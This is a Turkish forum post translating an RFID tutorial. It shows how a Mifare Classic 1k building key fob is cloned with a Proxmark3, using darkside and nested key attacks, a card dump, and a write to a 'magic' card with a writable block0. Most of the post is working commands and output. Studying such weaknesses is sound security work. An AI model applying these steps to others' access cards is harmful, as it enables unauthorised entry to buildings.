RFID #2 | RFID Çilingir

Qgenays

Katılımcı Üye
20 Haz 2020
254
3
Los Santos
Bölüm 2: RFID çilingir

Bu, pratik bir RFID saldırısına ilk bakışımız olacak.

Yaşadığım binada ön kapıyı açan, asansörü çalıştıran, ortak salon ve spor salonuna erişim sağlayan Mifare klasik 1k anahtarlık kullanıyor.

Bu güvensiz olsa da dürüst olalım, burada ciddi olarak yanlış bir şey yok.

Binamdaki birinden bir köstek klonlamayı başarırsanız, gelip spor salonunu kullanmaktan memnuniyet duyarız.

Sadece kendi huzurum için Anahtarlık kösteklerimi NUİD ile soru işaretleriyle değiştireceğim.

Mifare kartlarını daha iyi anlamak istiyorsanız, uygulamamı burada okumanızı öneririm.

Bu öğreticiler için proxmark3'ü kullanacağım, eğer burada bir göz atmanız gereken komutlar ve özellikler hakkında daha fazla bilgi edinmek istiyorsanız.


Aşağıdaki ekran görüntüsü sihirli Mifare 1k kartımı ve Anahtarlık kösteğimi gösterir.

x63LW0.jpg


Hedef analizi

Herhangi bir saldırı gibi, herhangi bir varsayım olmadan başlamalı ve hedefimizi analiz etmeliyiz.

Erişim kontrol mekanizmasının nasıl çalıştığına dair herhangi bir ipucu olup olmadığını görmek için anahtarlığımıza bir göz atalım.

Kod:
# This is just to quickly show what the proxmark3 is running under the hood. I promise you flashing the
  bootrom, OS and FPGA was a PITA but worth it!

proxmark3> hw version
#db# Prox/RFID mark3 RFID instrument                 
#db# bootrom: svn 756 2013-07-13 08:11:47                 
#db# os: svn 756 2013-07-13 08:11:52                 
#db# FPGA image built on 2012/ 1/ 6 at 15:27:56

# We can confirm our suspicions that the fob is in fact a Mifare 1k card. As mentioned in the introduction
  I will replace the NUID with question marks throughout this tutorial.

proxmark3> hf 14a read
ATQA : 04 00
 UID : ?? ?? ?? ??
 SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k
proprietary non iso14443a-4 card found, RATS not supported

# Our next step is to extract at least one valid sector key (A or B). The implementation of the darkside
  attack in this firmware version of the proxmark only takes about 9 seconds to complete. In this case
  the key that was found is one of the default keys but that does not affect the speed of the attack.

proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average  :-)
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------
Lost sync in cycle 3. nt_distance=-8. Consecutive Resyncs = 0. Trying one time catch up...
Lost sync in cycle 4. nt_distance=-8. Consecutive Resyncs = 1. Trying one time catch up...
Lost sync in cycle 5. nt_distance=-8. Consecutive Resyncs = 2. Trying one time catch up...
Lost sync in cycle 6 for the fourth time consecutively (nt_distance = -8). Adjusting sync_cycles to 66747.
.........................

uid(????????) nt(4b99fab8) par(dd75753d453d7dc5) ks(0f0d0a07080d0a07)
|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000000| f |  a  |1,0,1,1,1,0,1,1|
| 20 |00000020| d |  8  |1,0,1,0,1,1,1,0|
| 40 |00000040| a |  f  |1,0,1,0,1,1,1,0|
| 60 |00000060| 7 |  2  |1,0,1,1,1,1,0,0|
| 80 |00000080| 8 |  d  |1,0,1,0,0,0,1,0|
| a0 |000000a0| d |  8  |1,0,1,1,1,1,0,0|
| c0 |000000c0| a |  f  |1,0,1,1,1,1,1,0|
| e0 |000000e0| 7 |  2  |1,0,1,0,0,0,1,1|
00ff02eb|00ffc075
------------------------------------------------------------------
Key found:ffffffffffff 
Found valid key:ffffffffffff

# Once we have at least one valid key we can use that key to run a nested attack on all 16 sectors. In
  this case the fact that 0xffffffffffff is one of the default keys speeds the process up considerably
  (about 30 seconds). From tests using cards with fully random keys for all 16 sectors it takes the
  proxmark approximately 8 minutes to find them all. The results here are written to dumpkeys.bin.

proxmark3> hf mf nested 1 0 A ffffffffffff d
--block no:00 key type:00 key:ff ff ff ff ff ff  etrans:0          
Block shift=0          
Testing known keys. Sector count=16          
nested...          
Iterations count: 0          
|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|---|----------------|---|----------------|---|          
Printing keys to binary file dumpkeys.bin...

# As a final step in our initial discovery with the proxmark we will dump the full card contents. This
  will require dumpkeys.bin to exist in the parent directory so make sure to include the "d" flag in the
  command above. The results will be written to dumpdata.bin.

proxmark3> hf mf dump
|-----------------------------------------|          
|------ Reading sector access bits...-----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
|-----------------------------------------|          
|----- Dumping all blocks to file... -----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
[...Snip...]
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED
Bir sonraki adım, köstek dökümünün erişim kontrollerinin nasıl uygulandığına dair herhangi bir bilgiyi gösterip göstermediğini görmektir.

Dumpdata'ya bakmak için bir onaltılık düzenleyici kullanmanız gerekecektir.dumpdata.bin

Şahsen 010 editörünü tercih ederim, ancak birçok alternatif var.

Hızlı bir bakıştan sonra, Anahtarlık köstek hala varsayılan üretim durumunda gibi görünüyor.

Sadece block0 (yazma korumalı) NUID ve üretici verilerini içerir, diğer 15 sektör tamamen boştur.

Ayrıca, tüm A & B sektör anahtarları varsayılan 0xffffffffffff durumunda kalır.

Kod:
# Dump of sector0 (NUID replaced by question marks).

0000000: ???? ???? 3988 0400 47b9 9516 4980 4709  ....9...G...I.G.
0000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: ffff ffff ffff ff07 8069 ffff ffff ffff  .........i......

# Dump of sector1; sectors 1-15 all look identical.

0000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000070: ffff ffff ffff ff07 8069 ffff ffff ffff  .........i......
Çöplükten, kesinlikle süslü bir şey olmadığını görüyoruz.

Herhangi bir sonuç çıkarmadan önce, anahtarlık kösteğin tam bir sahtekarlık olup olmadığını kontrol etmek istedim.

Örneğin, tembel bir uygulamanın yalnızca RFID etiketinin Mifare 1k classic olup olmadığını kontrol etmesi ve daha sonra erişim sağlaması mümkün olabilir.

Bu amaçla, sihirli 1k kartımı kösteğin bir kopyasını oluşturmak için kullandım, ancak tamamen farklı bir 1k kartından geçerli bir block0 kopyaladım.

x6897U.jpg


x6862o.jpg


Bu yüzden ortak odanın kapısı 1k kartımı reddetti.

Bu, bir çeşit kimlik doğrulama mekanizması olduğu anlamına gelir.

Block0, üretim zamanında yazma korumalı olduğundan, okuyucuların NUID'Yİ izin verilen NUID'LERİN bir listesiyle ya da büyük bir inkar erişimi ile karşılaştırması muhtemeldir.

Jutsu kopyalama

Daha önce açıklandığı gibi, tüm Mifare kartlarının %99.999'u üretim sırasında kilitli bir block0 (sector0) sistemine sahiptir, bu bir güvenlik önlemi olarak yapılır.

Bu nedenle, birçok Mifare sistemi kullanıcılarını NUID ile tanımlar.

Ne yazık ki (neyse ki bakış açınıza bağlı olarak) bu teknik bir sınırlama değildir ve block0'da kilitli yazma erişimine sahip Mifare kartları satan bir Çinli üretici vardır.

Bu sözde "sihirli" kartlar bile bir adım daha ileri gidiyor ve ilgili sektör anahtarlarıyla kimlik doğrulaması yapmak zorunda kalmadan bireysel bloklara veya sektörlere yazmamıza izin veren protokol düzeyinde arka kapılar uyguluyorlar.


Kod:
# If we try to identify the card we can see the manufacture data is different than the key-chain fob but
  other than that they are pretty much identical. If you take a close look you can already see something
  strange is going on as I have set the NUID to "deadbeef".

proxmark3> hf 14a read
ATQA : 04 00
 UID : de ad be ef
 SAK : 88 [2]
TYPE : Infineon MIFARE CLASSIC 1K
proprietary non iso14443a-4 card found, RATS not supported

# As we can see we can simply dump sector0 without any authentication. Notice the forged NUID of
  "deadbeef". In this case I have also fixed the LRC (XOR-based longitudinal redundancy check) checksum
  which is 0x22 in this case.

proxmark3> hf mf cgetsc 0
--sector number:00           
block 00 data:de ad be ef 22 00 00 00 00 00 00 00 00 00 00 00           
block 01 data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00           
block 02 data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00           
block 03 data:ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff           

# Just to show that we can manually modify block0 I will replace the last 2 bytes with "1337".

proxmark3> hf mf csetblk 0 deadbeef220000000000000000001337
--block number:00 data:de ad be ef 22 00 00 00 00 00 00 00 00 00 13 37           
UID:de ad be ef           

proxmark3> hf mf cgetsc 0
--sector number:00           
block 00 data:de ad be ef 22 00 00 00 00 00 00 00 00 00 13 37           
block 01 data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00           
block 02 data:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00           
block 03 data:ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff
Proxmark ayrıca çeşitli kart türlerini taklit edebilir.

Proxmark, kart içeriğini özel * ' den yükleyebilir.eml dosyaları ve eml dosyası içeriğini kullanarak bu kartları taklit eder.

Çin "sihirli" kartlarının güzel özelliklerinden biri, aynı eml dosyalarını kullanarak tüm kartın üzerine yazabilmenizdir.

Temel olarak, eml dosyaları sadece kart verilerinin onaltılık dökümlerini temizler.

Bunu manuel olarak yapabilirsiniz, ancak burada birkaç yararlı proxmark betiği sıkıştırdım.

Bu komut dosyalarından biri bin'den eml'ye dönüştürülecektir.

İlk olarak, Anahtarlık köstek dökümümüzü bir eml dosyasına dönüştürerek başlayalım.


Kod:
root@Trident:~/Desktop# ./pm3_bin2eml.py dumpdata.bin KeyChain-fob.eml
EML dosyamızı aldıktan sonra, anahtarlığımızın içeriği ile "sihirli" kartımızın üzerine yazmaya devam edebiliriz, aslında mükemmel bir kopya oluştururuz.


Kod:
# Block0 still contains our forged NUID.
proxmark3> hf mf cgetblk 0
--block number:00           
block data:de ad be ef 22 00 00 00 00 00 00 00 00 00 13 37

# We load our eml file onto the card.
proxmark3> hf mf cload  KeyChain-fob
Loaded from file: KeyChain-fob.eml          

# We now have a perfect copy of our fob. We can test this by dumping block0 (again NUID has been replaced
  by question marks).
proxmark3> hf mf cgetblk 0
--block number:00           
block data:?? ?? ?? ?? 39 88 04 00 47 b9 95 16 49 80 47 09
Şimdi geriye kalan tek şey, yeni kartımızın beklendiği gibi çalıştığından emin olmak.


x6lSye.jpg



x6luiN.jpg


Translator: @Qgenays
Source:https://www.fuzzysecurity.com/tutorials/rfid/3.html
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.